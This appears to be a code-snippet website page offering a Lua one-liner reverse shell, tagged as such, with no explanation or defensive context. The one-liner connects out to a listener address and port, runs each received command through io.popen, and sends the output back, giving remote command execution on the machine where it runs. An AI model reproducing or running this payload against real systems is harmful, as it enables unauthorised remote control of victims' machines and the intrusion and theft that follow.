Search
 
SCRIPT & CODE EXAMPLE
 
CODE EXAMPLE FOR SHELL

lua reverse shell

lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

 
PREVIOUS NEXT
Tagged: #lua #reverse #shell
ADD COMMENT
Topic
Name
3+3 =